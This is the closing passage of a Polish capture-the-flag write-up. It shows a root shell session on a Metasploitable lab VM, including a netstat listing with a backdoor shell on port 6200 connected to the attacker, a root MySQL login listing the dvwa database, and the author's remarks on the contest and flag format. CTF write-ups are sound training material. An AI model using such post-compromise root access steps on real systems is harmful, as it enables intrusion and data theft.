tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 4637/Xtightvnc
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 4597/apache2
tcp 0 0 0.0.0.0:8787 0.0.0.0:* LISTEN 4620/ruby
tcp 0 0 0.0.0.0:8180 0.0.0.0:* LISTEN 4579/jsvc
tcp 0 0 0.0.0.0:1524 0.0.0.0:* LISTEN 4483/xinetd
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 4483/xinetd
tcp 0 0 10.0.2.19:53 0.0.0.0:* LISTEN 4083/named
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 4083/named
tcp 0 0 0.0.0.0:59733 0.0.0.0:* LISTEN 3726/rpc.statd
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 4483/xinetd
tcp 0 0 0.0.0.0:6200 0.0.0.0:* LISTEN 4920/sh
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN 4302/postgres
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 4458/master
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN 4083/named
tcp 0 0 0.0.0.0:45210 0.0.0.0:* LISTEN 4616/rmiregistry
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 4467/smbd
tcp 0 0 10.0.2.19:6200 10.0.2.18:44589 ESTABLISHED 4920/sh
tcp 1 0 10.0.2.19:21 10.0.2.18:39275 CLOSE_WAIT 4921/vsftpd
tcp6 0 0 :::2121 :::* LISTEN 4523/proftpd: (acce
tcp6 0 0 :::3632 :::* LISTEN 4328/distccd
tcp6 0 0 :::53 :::* LISTEN 4083/named
tcp6 0 0 :::22 :::* LISTEN 4105/sshd
tcp6 0 0 :::5432 :::* LISTEN 4302/postgres
tcp6 0 0 ::1:953 :::* LISTEN 4083/named
root@metasploitable:/home# mysql -uroot -p
mysql -uroot -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.0.51a-3ubuntu5 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| dvwa |
| metasploit |
| mysql |
| owasp10 |
| tikiwiki |
| tikiwiki195 |
+--------------------+
7 rows in set (0.00 sec)
mysql> quit
quit
Bye
root@metasploitable:/home# ping google.com
ping google.com
PING google.com (216.58.215.110) 56(84) bytes of data.
64 bytes from waw02s17-in-f14.1e100.net (216.58.215.110): icmp_seq=1 ttl=55 time=28.4 ms
64 bytes from waw02s17-in-f14.1e100.net (216.58.215.110): icmp_seq=2 ttl=55 time=30.2 ms
64 bytes from waw02s17-in-f14.1e100.net (216.58.215.110): icmp_seq=3 ttl=55 time=28.3 ms
64 bytes from waw02s17-in-f14.1e100.net (216.58.215.110): icmp_seq=4 ttl=55 time=31.7 ms
64 bytes from waw02s17-in-f14.1e100.net (216.58.215.110): icmp_seq=5 ttl=55 time=27.6 ms
.
--- google.com ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 27.614/29.274/31.739/1.516 ms
root@metasploitable:/home# cd /tmp
cd /tmp
root@metasploitable:/tmp# ls
ls
.[00m.[00m4579.jsvc_up.[00m
.[mroot@metasploitable:/tmp# echo "Dziekuje za uczesnictwo w konkursie :)"
echo "Dziekuje za uczesnictwo w konkursie :)"
Dziekuje za uczesnictwo w konkursie :)
root@metasploitable:/tmp#
To wszystko, tak rozwiązane zadanie zostało zaakceptowane przez organizatorów. Znowu udało się wygrać. Dziękuję za fajne wyzwanie. Mam dwa zastrzeżenia do tego wyzwania. Zadania konkursowe oparte o popularne DVWA są oklepane i raczej słabe, bo dysponując zerową wiedzą na dany temat można je rozwiązać nie patrząc prawie na pcapa klik. Cieszy natomiast inwencja twórcza i dodatkowa flaga :). Do tego fajnie by było gdyby flagi miały konkretny format jeśli jest ich kilka. O ile w przypadku pierwszego wyzwania cel jest jasny, to tutaj miałem srogie “wtf” widząc wpis do /etc/passwd
i spędziłem chwilę w poszukiwaniu jakiś hashy. Jasny format flag (nie trzeba podpowiadać, że są zakodowane) znacząco uprzyjemniłby (ale niekoniecznie ułatwił) rozgrywkę.
0x08 Koniec⌗
To już naprawdę wszystko z mojej strony. Czekam na kolejne wyzwania, może znowu uda się skończyć na jakiejś wysokiej pozycji. Dziękuję Organizatorom za zabawę!